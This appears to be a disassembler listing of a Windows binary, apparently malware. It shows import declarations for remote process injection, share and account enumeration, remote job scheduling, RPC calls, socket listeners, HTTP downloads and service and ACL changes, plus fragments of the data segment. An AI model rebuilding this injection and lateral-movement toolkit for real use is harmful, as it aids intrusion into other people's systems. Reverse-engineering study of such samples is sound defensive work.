; HANDLE __stdcall CreateRemoteThread(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
		extrn CreateRemoteThread:dword ; CODE XREF: sub_9ACC9F+9Cp
					; DATA XREF: sub_9ACC9F+9Cr
; BOOL __stdcall WriteProcessMemory(HANDLE hProcess,LPVOID lpBaseAddress,LPCVOID lpBuffer,SIZE_T nSize,SIZE_T *lpNumberOfBytesWritten)
		extrn WriteProcessMemory:dword ; CODE XREF: sub_9ACC9F+7Cp
					; DATA XREF: sub_9ACC9F+7Cr
; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect)
		extrn VirtualAllocEx:dword ; CODE XREF:	sub_9ACC9F+3Dp
					; DATA XREF: sub_9ACC9F+3Dr
; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId)
		extrn OpenProcess:dword	; CODE XREF: sub_9ACC9F+1Fp
					; sub_9ACEC5+35p ...
; BOOL __stdcall ReadProcessMemory(HANDLE hProcess,LPCVOID lpBaseAddress,LPVOID	lpBuffer,SIZE_T	nSize,SIZE_T *lpNumberOfBytesRead)
		extrn ReadProcessMemory:dword ;	CODE XREF: sub_9ACE3B+27p
					; sub_9ACE3B+40p ...
; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes)
		extrn SetFileAttributesA:dword ; CODE XREF: sub_9AD12D+2Ap
					; DATA XREF: sub_9AD12D+2Ar
; DWORD	__stdcall GetFileAttributesA(LPCSTR lpFileName)
		extrn GetFileAttributesA:dword ; CODE XREF: sub_9AD12D+4p
					; DATA XREF: sub_9AD12D+4r
; DWORD	__stdcall GetCurrentDirectoryA(DWORD nBufferLength,LPSTR lpBuffer)
		extrn GetCurrentDirectoryA:dword ; CODE	XREF: sub_9AD279+2Ap
					; DATA XREF: sub_9AD279+2Ar
; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName,LPSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation)
		extrn CreateProcessA:dword ; CODE XREF:	sub_9AD3A7+4Ep
					; DATA XREF: sub_9AD3A7+4Er
; LONG __stdcall InterlockedCompareExchange(volatile LONG *Destination,LONG Exchange,LONG Comperand)
		extrn InterlockedCompareExchange:dword ; CODE XREF: sub_9AD553+9p
					; sub_9AD569+1Cp
					; DATA XREF: ...
; LONG __stdcall InterlockedDecrement(volatile LONG *lpAddend)
		extrn InterlockedDecrement:dword ; CODE	XREF: sub_9AD6D4+14Dp
					; sub_9AD8BC+115p ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
		extrn InterlockedIncrement:dword ; CODE	XREF: sub_9AD6D4+14p
					; sub_9AD8BC+17p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
		extrn SetEvent:dword	; CODE XREF: sub_9ADBF1+45Dp
					; sub_9ADBF1+4D7p
					; DATA XREF: ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes,BOOL bManualReset,BOOL bInitialState,LPCSTR lpName)
		extrn CreateEventA:dword ; CODE	XREF: sub_9ADA44+BEp
					; sub_9ADBF1+B8p ...
; LONG __stdcall InterlockedExchange(volatile LONG *Target,LONG	Value)
		extrn InterlockedExchange:dword	; CODE XREF: sub_9AD831+41p
					; sub_9ADB83+4Bp ...

;
; Imports from mpr.dll
;
; DWORD	__stdcall WNetAddConnection2W(LPNETRESOURCEW lpNetResource,LPCWSTR lpPassword,LPCWSTR lpUserName,DWORD dwFlags)
		extrn __imp_WNetAddConnection2W:dword ;	DATA XREF: WNetAddConnection2Wr
; DWORD	__stdcall WNetAddConnection2A(LPNETRESOURCEA lpNetResource,LPCSTR lpPassword,LPCSTR lpUserName,DWORD dwFlags)
		extrn __imp_WNetAddConnection2A:dword ;	DATA XREF: WNetAddConnection2Ar
; DWORD	__stdcall WNetCancelConnection2A(LPCSTR	lpName,DWORD dwFlags,BOOL fForce)
		extrn __imp_WNetCancelConnection2A:dword
					; DATA XREF: WNetCancelConnection2Ar
; DWORD	__stdcall WNetCancelConnection2W(LPCWSTR lpName,DWORD dwFlags,BOOL fForce)
		extrn __imp_WNetCancelConnection2W:dword
					; DATA XREF: WNetCancelConnection2Wr

;
; Imports from msvcrt.dll
;
		extrn __imp__initterm:dword ; DATA XREF: _inittermr
		extrn _adjust_fdiv:dword ; DATA	XREF: _CRT_INIT(x,x,x):loc_9B8377r
; void *__cdecl	calloc(size_t NumOfElements,size_t SizeOfElements)
		extrn calloc:dword	; CODE XREF: sub_9B6663+45p
					; sub_9B679A+31p ...
; int sscanf(const char	*Src,const char	*Format,...)
		extrn sscanf:dword	; CODE XREF: sub_9B644D+DBp
					; sub_9B644D+125p ...
; void *__cdecl	memmove(void *Dst,const	void *Src,size_t Size)
		extrn memmove:dword	; CODE XREF: sub_9B04E9+34p
					; sub_9B3C6E+2Ap
					; DATA XREF: ...
; void *__cdecl	bsearch(const void *Key,const void *Base,size_t	NumOfElements,size_t SizeOfElements,int	(__cdecl *PtFuncCompare)(const void *,const void *))
		extrn bsearch:dword	; CODE XREF: sub_9B00F5+34p
					; sub_9B00F5+5Fp ...
; __int32 __cdecl labs(__int32 X)
		extrn __imp_labs:dword	; DATA XREF: labsr
		extrn __imp_sin:dword	; DATA XREF: sinr
		extrn __imp_log:dword	; DATA XREF: logr
; char *__cdecl	strtok(char *Str,const char *Delim)
		extrn strtok:dword	; CODE XREF: sub_9AEBA1+41p
					; sub_9AEBA1+4Fp ...
; int __cdecl atoi(const char *Str)
		extrn atoi:dword	; CODE XREF: sub_9AEBA1+5Fp
					; sub_9AEBA1+C0p
					; DATA XREF: ...
; wchar_t *__cdecl wcsdup(const	wchar_t	*Str)
		extrn _wcsdup:dword	; CODE XREF: sub_9A95EE+86p
					; sub_9AE195+16Dp ...
; int printf(const char	*Format,...)
		extrn printf:dword	; CODE XREF: sub_9ACC9F+14Dp
					; DATA XREF: sub_9ACC9F+14Dr
; char *__cdecl	strcpy(char *Dest,const	char *Source)
		extrn __imp_strcpy:dword ; DATA	XREF: strcpyr
; int __cdecl strcmp(const char	*Str1,const char *Str2)
		extrn __imp_strcmp:dword ; DATA	XREF: strcmpr
; char *__cdecl	strcat(char *Dest,const	char *Source)
		extrn __imp_strcat:dword ; DATA	XREF: strcatr
; wchar_t *__cdecl wcsstr(const	wchar_t	*Str,const wchar_t *SubStr)
		extrn wcsstr:dword	; CODE XREF: sub_9AAD09+25p
					; DATA XREF: sub_9AAD09+25r
; char *__cdecl	strlwr(char *Str)
		extrn _strlwr:dword	; CODE XREF: sub_9AA463+6Dp
					; sub_9AF52D+182p ...
; char *__cdecl	strstr(const char *Str,const char *SubStr)
		extrn strstr:dword	; CODE XREF: sub_9AA463+84p
					; sub_9AF52D+196p ...
; char *__cdecl	strdup(const char *Src)
		extrn _strdup:dword	; CODE XREF: sub_9AA0F1+26p
					; sub_9AB855+120p ...
; wchar_t *__cdecl wcsncpy(wchar_t *Dest,const wchar_t *Source,size_t Count)
		extrn wcsncpy:dword	; CODE XREF: sub_9A993B+37p
					; DATA XREF: sub_9A993B+37r
; void *__cdecl	malloc(size_t Size)
		extrn malloc:dword	; CODE XREF: sub_9A96FE+98p
					; sub_9AA62A+4p ...
; void __cdecl free(void *Memory)
		extrn free:dword	; CODE XREF: sub_9A96FE+10Fp
					; sub_9A96FE+165p ...
; void *__cdecl	realloc(void *Memory,size_t NewSize)
		extrn realloc:dword	; CODE XREF: sub_9A95EE+56p
					; sub_9B2565+18p ...
; wchar_t *__cdecl wcscat(wchar_t *Dest,const wchar_t *Source)
		extrn wcscat:dword	; CODE XREF: sub_9A9318+95p
					; sub_9A9318+E2p ...
; wchar_t *__cdecl wcscpy(wchar_t *Dest,const wchar_t *Source)
		extrn wcscpy:dword	; CODE XREF: sub_9A9318+9Fp
					; sub_9A96FE+A9p ...
; int __cdecl wcscmp(const wchar_t *Str1,const wchar_t *Str2)
		extrn wcscmp:dword	; CODE XREF: sub_9A9318+C8p
					; sub_9A9898+65p
					; DATA XREF: ...
; int snwprintf(wchar_t	*Dest,size_t Count,const wchar_t *Format,...)
		extrn _snwprintf:dword	; CODE XREF: sub_9A926F+1Dp
					; sub_9A92AE+20p ...
; size_t __cdecl wcslen(const wchar_t *Str)
		extrn wcslen:dword	; CODE XREF: sub_9A8E01+Ap
					; sub_9A96FE+81p ...
; char *__cdecl	strchr(const char *Str,int Val)
		extrn strchr:dword	; CODE XREF: sub_9A8E01+D9p
					; sub_9AB855+12Cp ...
; void *__cdecl	memset(void *Dst,int Val,size_t	Size)
		extrn __imp_memset:dword ; DATA	XREF: memsetr
; void *__cdecl	memcpy(void *Dst,const void *Src,size_t	Size)
		extrn __imp_memcpy:dword ; DATA	XREF: memcpyr
; int __cdecl memcmp(const void	*Buf1,const void *Buf2,size_t Size)
		extrn __imp_memcmp:dword ; DATA	XREF: memcmpr
; char *__cdecl	strncat(char *Dest,const char *Source,size_t Count)
		extrn strncat:dword	; CODE XREF: sub_9A7670+B4p
					; sub_9A7E49+33p
					; DATA XREF: ...
; void __cdecl srand(unsigned int Seed)
		extrn srand:dword	; CODE XREF: sub_9A752A+17p
					; sub_9A798D+93p ...
; int __cdecl rand()
		extrn rand:dword	; CODE XREF: sub_9A752A+1Dp
					; sub_9A7670+91p ...
; int snprintf(char *Dest,size_t Count,const char *Format,...)
		extrn _snprintf:dword	; CODE XREF: sub_9A752A+54p
					; sub_9A798D+CDp ...
; char *__cdecl	strncpy(char *Dest,const char *Source,size_t Count)
		extrn strncpy:dword	; CODE XREF: sub_9A752A+118p
					; sub_9A8E01+C8p ...
; char *__cdecl	strrchr(const char *Str,int Ch)
		extrn strrchr:dword	; CODE XREF: sub_9A7410+61p
					; sub_9A9D29+Cp ...
; int __cdecl strnicmp(const char *Str1,const char *Str,size_t MaxCount)
		extrn _strnicmp:dword	; CODE XREF: sub_9A722A+5Ap
					; sub_9A9D29+5Cp ...
; size_t __cdecl strlen(const char *Str)
		extrn __imp_strlen:dword ; DATA	XREF: strlenr
; int __cdecl stricmp(const char *Str1,const char *Str2)
		extrn _stricmp:dword	; CODE XREF: sub_9A722A+85p
					; sub_9AA18B+9Ap ...
; int __cdecl memicmp(const void *Buf1,const void *Buf2,size_t Size)
		extrn _memicmp:dword	; CODE XREF: sub_9B5AC7+50p
					; sub_9B5AC7+74p
					; DATA XREF: ...

;
; Imports from netapi32.dll
;
; DWORD	__stdcall NetApiBufferFree(LPVOID Buffer)
		extrn __imp_NetApiBufferFree:dword ; DATA XREF:	NetApiBufferFreer
; DWORD	__stdcall NetScheduleJobDel(LPCWSTR Servername,DWORD MinJobId,DWORD MaxJobId)
		extrn __imp_NetScheduleJobDel:dword ; DATA XREF: NetScheduleJobDelr
; DWORD	__stdcall NetScheduleJobEnum(LPCWSTR Servername,LPBYTE *PointerToBuffer,DWORD PrefferedMaximumLength,LPDWORD EntriesRead,LPDWORD TotalEntries,LPDWORD ResumeHandle)
		extrn __imp_NetScheduleJobEnum:dword ; DATA XREF: NetScheduleJobEnumr
; DWORD	__stdcall NetScheduleJobAdd(LPCWSTR Servername,LPBYTE Buffer,LPDWORD JobId)
		extrn __imp_NetScheduleJobAdd:dword ; DATA XREF: NetScheduleJobAddr
; DWORD	__stdcall NetUserEnum(LPCWSTR servername,DWORD level,DWORD filter,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle)
		extrn __imp_NetUserEnum:dword ;	DATA XREF: NetUserEnumr
; DWORD	__stdcall NetServerEnum(LPCWSTR	servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,DWORD servertype,LPCWSTR domain,LPDWORD	resume_handle)
		extrn __imp_NetServerEnum:dword	; DATA XREF: NetServerEnumr
; DWORD	__stdcall NetWkstaGetInfo(LPWSTR servername,DWORD level,LPBYTE *bufptr)
		extrn __imp_NetWkstaGetInfo:dword ; DATA XREF: NetWkstaGetInfor

;
; Imports from oleaut32.dll
;
; UINT __stdcall SysStringLen(BSTR)
		extrn SysStringLen:dword ; CODE	XREF: sub_9A9ED0+B3p
					; DATA XREF: sub_9A9ED0+B3r
; void __stdcall VariantInit(VARIANTARG	*pvarg)
		extrn VariantInit:dword	; CODE XREF: sub_9A9A64+5Cp
					; DATA XREF: sub_9A9A64+5Cr
; void __stdcall SysFreeString(BSTR bstrString)
		extrn SysFreeString:dword ; CODE XREF: sub_9A9ED0+E8p
					; DATA XREF: sub_9A9ED0+E8r
; BSTR __stdcall SysAllocString(const OLECHAR *psz)
		extrn SysAllocString:dword ; CODE XREF:	sub_9A9ED0+AAp
					; DATA XREF: sub_9A9ED0+AAr
; HRESULT __stdcall VariantClear(VARIANTARG *pvarg)
		extrn VariantClear:dword ; CODE	XREF: sub_9A9A64+175p
					; DATA XREF: sub_9A9A64+175r

;
; Imports from rpcrt4.dll
;
; RPC_STATUS __stdcall RpcBindingFromStringBindingA(RPC_CSTR StringBinding,RPC_BINDING_HANDLE *Binding)
		extrn RpcBindingFromStringBindingA:dword ; CODE	XREF: sub_9AA799+37p
					; sub_9AA82D+3Ap
					; DATA XREF: ...
; RPC_STATUS __stdcall RpcStringBindingComposeA(RPC_CSTR ObjUuid,RPC_CSTR ProtSeq,RPC_CSTR NetworkAddr,RPC_CSTR	Endpoint,RPC_CSTR Options,RPC_CSTR *StringBinding)
		extrn RpcStringBindingComposeA:dword ; CODE XREF: sub_9AA799+25p
					; sub_9AA82D+28p
					; DATA XREF: ...
; CLIENT_CALL_RETURN NdrClientCall2(PMIDL_STUB_DESC pStubDescriptor,PFORMAT_STRING pFormat,...)
		extrn __imp_NdrClientCall2:dword ; DATA	XREF: NdrClientCall2r
; RPC_STATUS __stdcall RpcBindingFree(RPC_BINDING_HANDLE *Binding)
		extrn RpcBindingFree:dword ; CODE XREF:	sub_9AA799+85p
					; sub_9AA82D+ADp
					; DATA XREF: ...

;
; Imports from shell32.dll
;
; void __stdcall SHGetSetSettings(LPSHELLSTATEA	lpss,DWORD dwMask,BOOL bSet)
		extrn SHGetSetSettings:dword ; CODE XREF: sub_9AC1ED+3Dp
					; DATA XREF: sub_9AC1ED+3Dr
; BOOL __stdcall SHGetSpecialFolderPathA(HWND hwnd,LPSTR pszPath,int csidl,BOOL	fCreate)
		extrn SHGetSpecialFolderPathA:dword ; CODE XREF: sub_9A7670+8Fp
					; sub_9A7670+DEp
					; DATA XREF: ...

;
; Imports from shlwapi.dll
;
; LPSTR	__stdcall StrStrIA(LPCSTR lpFirst,LPCSTR lpSrch)
		extrn StrStrIA:dword	; CODE XREF: sub_9A7410+83p
					; sub_9A7410+95p ...
; LPWSTR __stdcall StrStrIW(LPCWSTR lpFirst,LPCWSTR lpSrch)
		extrn StrStrIW:dword	; CODE XREF: sub_9ACF3E+87p
					; DATA XREF: sub_9ACF3E+87r

;
; Imports from user32.dll
;
; BOOL __stdcall GetLastInputInfo(PLASTINPUTINFO plii)
		extrn GetLastInputInfo:dword ; CODE XREF: sub_9ADB83+2Ap
					; DATA XREF: sub_9ADB83+2Ar
; BOOL __stdcall PostMessageA(HWND hWnd,UINT Msg,WPARAM	wParam,LPARAM lParam)
		extrn PostMessageA:dword ; CODE	XREF: fn+1Ap
					; DATA XREF: fn+1Ar
; HWND __stdcall GetDlgItem(HWND hDlg,int nIDDlgItem)
		extrn GetDlgItem:dword	; CODE XREF: fn+6p
					; DATA XREF: fn+6r
; int __stdcall	LoadStringA(HINSTANCE hInstance,UINT uID,LPSTR lpBuffer,int cchBufferMax)
		extrn LoadStringA:dword	; CODE XREF: sub_9AC2BE+29p
					; DATA XREF: sub_9AC2BE+29r
; LRESULT __stdcall DefWindowProcA(HWND	hWnd,UINT Msg,WPARAM wParam,LPARAM lParam)
		extrn DefWindowProcA:dword ; DATA XREF:	sub_9AC078+20r
; LRESULT __stdcall DispatchMessageA(const MSG *lpMsg)
		extrn DispatchMessageA:dword ; CODE XREF: sub_9AC09E+98p
					; DATA XREF: sub_9AC09E+98r
; BOOL __stdcall TranslateMessage(const	MSG *lpMsg)
		extrn TranslateMessage:dword ; CODE XREF: sub_9AC09E+8Ep
					; DATA XREF: sub_9AC09E+8Er
; ATOM __stdcall RegisterClassA(const WNDCLASSA	*lpWndClass)
		extrn RegisterClassA:dword ; CODE XREF:	sub_9AC09E+52p
					; DATA XREF: sub_9AC09E+52r
; BOOL __stdcall EnumThreadWindows(DWORD dwThreadId,WNDENUMPROC	lpfn,LPARAM lParam)
		extrn EnumThreadWindows:dword ;	CODE XREF: sub_9A9A29+1Ep
					; DATA XREF: sub_9A9A29+1Er
; BOOL __stdcall GetMessageA(LPMSG lpMsg,HWND hWnd,UINT	wMsgFilterMin,UINT wMsgFilterMax)
		extrn GetMessageA:dword	; CODE XREF: sub_9AC09E+A5p
					; DATA XREF: sub_9AC09E+7Dr
; HWND __stdcall CreateWindowExA(DWORD dwExStyle,LPCSTR	lpClassName,LPCSTR lpWindowName,DWORD dwStyle,int X,int	Y,int nWidth,int nHeight,HWND hWndParent,HMENU hMenu,HINSTANCE hInstance,LPVOID	lpParam)
		extrn CreateWindowExA:dword ; CODE XREF: sub_9AC09E+72p
					; DATA XREF: sub_9AC09E+72r

;
; Imports from version.dll
;
; BOOL __stdcall GetFileVersionInfoA(LPCSTR lptstrFilename,DWORD dwHandle,DWORD	dwLen,LPVOID lpData)
		extrn __imp_GetFileVersionInfoA:dword ;	DATA XREF: GetFileVersionInfoAr
; BOOL __stdcall VerQueryValueA(LPCVOID	pBlock,LPCSTR lpSubBlock,LPVOID	*lplpBuffer,PUINT puLen)
		extrn __imp_VerQueryValueA:dword ; DATA	XREF: VerQueryValueAr
; DWORD	__stdcall GetFileVersionInfoSizeA(LPCSTR lptstrFilename,LPDWORD	lpdwHandle)
		extrn __imp_GetFileVersionInfoSizeA:dword
					; DATA XREF: GetFileVersionInfoSizeAr

;
; Imports from wininet.dll
;
; BOOL __stdcall InternetCloseHandle(HINTERNET hInternet)
		extrn InternetCloseHandle:dword	; CODE XREF: sub_9ACAC1+133p
					; sub_9ACAC1+13Cp ...
; HINTERNET __stdcall InternetOpenA(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR	lpszProxyBypass,DWORD dwFlags)
		extrn InternetOpenA:dword ; CODE XREF: sub_9ACAC1+5Ap
					; sub_9AEAC6+4Bp
					; DATA XREF: ...
; BOOL __stdcall InternetGetConnectedState(LPDWORD lpdwFlags,DWORD dwReserved)
		extrn InternetGetConnectedState:dword ;	CODE XREF: StartAddress+1C4p
					; sub_9AA572+25p ...
; BOOL __stdcall InternetReadFile(HINTERNET hFile,LPVOID lpBuffer,DWORD	dwNumberOfBytesToRead,LPDWORD lpdwNumberOfBytesRead)
		extrn InternetReadFile:dword ; CODE XREF: sub_9ACAC1+11Ep
					; DATA XREF: sub_9ACAC1+11Er
; HINTERNET __stdcall InternetOpenUrlA(HINTERNET hInternet,LPCSTR lpszUrl,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD dwContext)
		extrn InternetOpenUrlA:dword ; CODE XREF: sub_9ACAC1+7Bp
					; sub_9AEAC6+64p
					; DATA XREF: ...
; BOOL __stdcall HttpQueryInfoA(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex)
		extrn HttpQueryInfoA:dword ; CODE XREF:	sub_9ACAC1+B0p
					; sub_9AEAC6+93p ...

;
; Imports from ws2_32.dll
;
; SOCKET __stdcall accept(SOCKET s,struct sockaddr *addr,int *addrlen)
		extrn accept:dword	; CODE XREF: sub_9AFD0A+110p
					; DATA XREF: sub_9AFD0A+110r
; int __stdcall	bind(SOCKET s,const struct sockaddr *name,int namelen)
		extrn bind:dword	; CODE XREF: sub_9AFC25+A5p
					; sub_9B611D+D7p
					; DATA XREF: ...
; int __stdcall	getsockname(SOCKET s,struct sockaddr *name,int *namelen)
		extrn getsockname:dword	; CODE XREF: sub_9AF7D5+43p
					; sub_9B5139+9Cp
					; DATA XREF: ...
; int __stdcall	sendto(SOCKET s,const char *buf,int len,int flags,const	struct sockaddr	*to,int	tolen)
		extrn sendto:dword	; CODE XREF: sub_9B611D+12Dp
					; DATA XREF: sub_9B611D+12Dr
; int __stdcall	WSAStartup(WORD	wVersionRequested,LPWSADATA lpWSAData)
		extrn WSAStartup:dword	; CODE XREF: StartAddress+18Ap
					; DATA XREF: StartAddress+18Ar
; int __stdcall	setsockopt(SOCKET s,int	level,int optname,const	char *optval,int optlen)
		extrn setsockopt:dword	; CODE XREF: sub_9B611D+A3p
					; sub_9B611D+CCp
					; DATA XREF: ...
; u_long __stdcall ntohl(u_long	netlong)
		extrn __imp_ntohl:dword	; CODE XREF: sub_9A9DA6+15p
					; sub_9AC416+BDp
					; DATA XREF: ...
; int __stdcall	listen(SOCKET s,int backlog)
		extrn listen:dword	; CODE XREF: sub_9AFD0A+99p
					; DATA XREF: sub_9AFD0A+99r
; int __stdcall	shutdown(SOCKET	s,int how)
		extrn shutdown:dword	; CODE XREF: sub_9AF52D+291p
					; sub_9AF7D5+42Ep
					; DATA XREF: ...
; struct hostent *__stdcall gethostbyname(const	char *name)
		extrn gethostbyname:dword ; CODE XREF: sub_9AEE7C+8p
					; sub_9B5139+14p
					; DATA XREF: ...
; u_long __stdcall ntohl_0(u_long netlong)
		extrn __imp_ntohl_0:dword ; DATA XREF: ntohl_0r
; u_short __stdcall ntohs(u_short netshort)
		extrn ntohs:dword	; CODE XREF: sub_9AC9D5+35p
					; sub_9AFC25+91p ...
; int __stdcall	connect(SOCKET s,const struct sockaddr *name,int namelen)
		extrn connect:dword	; CODE XREF: sub_9AC9D5+5Bp
					; sub_9B5139+7Dp ...
; int __stdcall	WSAGetLastError()
		extrn WSAGetLastError:dword ; CODE XREF: sub_9AC9D5+66p
					; DATA XREF: sub_9AC9D5+66r
; int __stdcall	send(SOCKET s,const char *buf,int len,int flags)
		extrn send:dword	; CODE XREF: sub_9AC931+79p
					; sub_9B5139+F8p ...
; int __stdcall	select(int nfds,fd_set *readfds,fd_set *writefds,fd_set	*exceptfds,const struct	timeval	*timeout)
		extrn select:dword	; CODE XREF: sub_9AC864+4Ep
					; sub_9AC931+50p ...
; int __stdcall	gethostname(char *name,int namelen)
		extrn gethostname:dword	; CODE XREF: sub_9AA064+2Fp
					; DATA XREF: sub_9AA064+2Fr
; char *__stdcall inet_ntoa(struct in_addr in)
		extrn inet_ntoa:dword	; CODE XREF: sub_9AA0F1+1Fp
					; sub_9AEE7C+19p ...
; unsigned __int32 __stdcall inet_addr(const char *cp)
		extrn __imp_inet_addr:dword ; CODE XREF: sub_9AA27B+76p
					; sub_9AA27B+81p ...
; int __stdcall	closesocket(SOCKET s)
		extrn closesocket:dword	; CODE XREF: sub_9AC416+E7p
					; sub_9AF52D+29Ap ...
; int __stdcall	WSAIoctl(SOCKET	s,DWORD	dwIoControlCode,LPVOID lpvInBuffer,DWORD cbInBuffer,LPVOID lpvOutBuffer,DWORD cbOutBuffer,LPDWORD lpcbBytesReturned,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
		extrn WSAIoctl:dword	; CODE XREF: sub_9AC416+5Dp
					; DATA XREF: sub_9AC416+5Dr
; int __stdcall	__WSAFDIsSet(SOCKET fd,fd_set *)
		extrn __imp___WSAFDIsSet:dword ; DATA XREF: __WSAFDIsSetr
; int __stdcall	ioctlsocket(SOCKET s,__int32 cmd,u_long	*argp)
		extrn ioctlsocket:dword	; CODE XREF: sub_9AC864+76p
					; sub_9AC9D5+52p ...
; int __stdcall	recv(SOCKET s,char *buf,int len,int flags)
		extrn recv:dword	; CODE XREF: sub_9AC864+99p
					; sub_9B5CF9+63p
					; DATA XREF: ...
; void __stdcall WSASetLastError(int iError)
		extrn WSASetLastError:dword ; CODE XREF: sub_9AC864+C0p
					; sub_9AC931+9Cp ...
; SOCKET __stdcall socket(int af,int type,int protocol)
		extrn socket:dword	; CODE XREF: sub_9AC416+31p
					; sub_9AF52D+23p ...

;
; Imports from ole32.dll
;
; HRESULT __stdcall CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc,LONG cAuthSvc,SOLE_AUTHENTICATION_SERVICE *asAuthSvc,void *pReserved1,DWORD dwAuthnLevel,DWORD dwImpLevel,void *pAuthList,DWORD dwCapabilities,void *pReserved3)
		extrn CoInitializeSecurity:dword ; CODE	XREF: sub_9A9C0D+31p
					; DATA XREF: sub_9A9C0D+31r
; HRESULT __stdcall CoCreateInstance(const IID *const rclsid,LPUNKNOWN pUnkOuter,DWORD dwClsContext,const IID *const riid,LPVOID *ppv)
		extrn CoCreateInstance:dword ; CODE XREF: sub_9A9C0D+4Ep
					; sub_9A9DE7+23p ...
; void __stdcall CoUninitialize()
		extrn CoUninitialize:dword ; CODE XREF:	sub_9A9C0D+84p
					; sub_9A9FDF+79p
					; DATA XREF: ...
; HRESULT __stdcall CoInitializeEx(LPVOID pvReserved,DWORD dwCoInit)
		extrn CoInitializeEx:dword ; CODE XREF:	sub_9A9C0D+11p
					; sub_9A9FDF+10p
					; DATA XREF: ...

;
; Imports from urlmon.dll
;
; HRESULT __stdcall ObtainUserAgentString(DWORD	dwOption,LPSTR pszUAOut,DWORD *cbSize)
		extrn __imp_ObtainUserAgentString:dword	; DATA XREF: ObtainUserAgentStringr


; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 9A1438h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
; char Name[]
Name		dd 1000h, 2 dup(0)	; DATA XREF: sub_9A7170+8Eo
		dd 1578h, 1000h, 10A4h
; char dword_9A1450[]
dword_9A1450	dd 2 dup(0)		; DATA XREF: sub_9A7170+53o
		dd 188Ch, 10A4h, 122Ch,	2 dup(0)
		dd 1F68h, 122Ch, 1240h,	2 dup(0)
		dd 1FD0h
; char dword_9A1484[]
dword_9A1484	dd 1240h, 12F0h, 2 dup(0) ; DATA XREF: sub_9A7170+4Do
		dd 218Ch
; char dword_9A1498
dword_9A1498	dd 12F0h, 1310h		; DATA XREF: sub_9A722A+73o
; char Srch[]
Srch		db 8 dup(0)		; DATA XREF: sub_9A7410:loc_9A7487o
					; sub_9A798D+105o ...
		dd 221Ch, 1310h
; char dword_9A14B0[]
dword_9A14B0	dd 1328h, 2 dup(0)	; DATA XREF: sub_9A74E1:loc_9A7506o
					; sub_9AD417+5o
		dd 227Ah
; const	WCHAR dword_9A14C0
dword_9A14C0	dd 1328h, 133Ch, 2 dup(0) ; DATA XREF: sub_9A74E1+2o
		dd 22E6h, 133Ch, 1348h,	2 dup(0)
		dd 2320h, 1348h, 1354h
; char CommandLine[]
CommandLine	dd 2 dup(0)		; DATA XREF: sub_9A752A+132o
		dd 2344h, 1354h, 1384h,	2 dup(0)
		dd 2410h, 1384h, 1394h,	2 dup(0)
		dd 245Eh
; char aF[]
aF		db '”'                  ; DATA XREF: sub_9A752A+47o
		db 13h,	2 dup(0)
		dd 13B0h, 0
dword_9A1530	dd 0			; DATA XREF: sub_9A7670+A6o
		dd 24E6h, 13B0h, 141Ch
; char Source[]
Source		db 8 dup(0)		; DATA XREF: sub_9A7670+9Do
		dd 2626h, 141Ch, 1430h
dword_9A1554	dd 2 dup(0)		; DATA XREF: StartAddress+165o
; char ServiceName[]
ServiceName	dd 2680h, 1430h, 0	; DATA XREF: StartAddress:loc_9A78E4o
dword_9A1568	dd 4 dup(0)		; DATA XREF: sub_9A798D:loc_9A7B64o
		dd 61766461h, 32336970h, 6C6C642Eh, 0
aRegopenkeyexw	db 'RegOpenKeyExW',0    ; DATA XREF: sub_9A798D:loc_9A7B4Fo
		align 4
		dd 53676552h, 654B7465h
; char aYsecurity[]
aYsecurity	db 'ySecurity',0        ; DATA XREF: sub_9A798D+1A8o
					; sub_9AB59B:loc_9AB59Eo
		align 4
		dd 6E65704Fh
; char Format[]
Format		db 'SCManagerW',0       ; DATA XREF: sub_9A798D+C6o
aU_0		db 'u',0
		align 2
		dw 6E45h
; char aUmservicesstat[]
aUmservicesstat	db 'umServicesStatusW',0 ; DATA XREF: sub_9A798D+44o
		align 4
		dd 6E65704Fh
aServicew	db 'ServiceW',0         ; DATA XREF: sub_9A812E+6Eo
		align 4
aQueryserviceco	db 'QueryServiceConfigW',0
		dd 75510000h, 53797265h, 69767265h, 6F436563h, 6769666Eh
		dd 5732h, 6D490000h, 73726570h,	74616E6Fh, 676F4C65h, 4F646567h
		dd 6573556Eh, 72h, 74696E49h, 696C6169h, 6553657Ah, 69727563h
		dd 65447974h, 69726373h, 726F7470h, 6F00h, 4C746547h, 74676E65h
		dd 64695368h, 0
aInitializeacl	db 'InitializeAcl',0
		align 4
aAddaccessallow	db 'AddAccessAllowedAce',0
		dd 65530000h, 63655374h, 74697275h, 73654479h, 70697263h
		dd 44726F74h, 6C6361h, 65530000h, 6C694674h, 63655365h
		dd 74697275h, 4179h, 6F4C0000h,	70756B6Fh, 76697250h, 67656C69h
		dd 6C615665h, 416575h, 64410000h, 7473756Ah, 656B6F54h
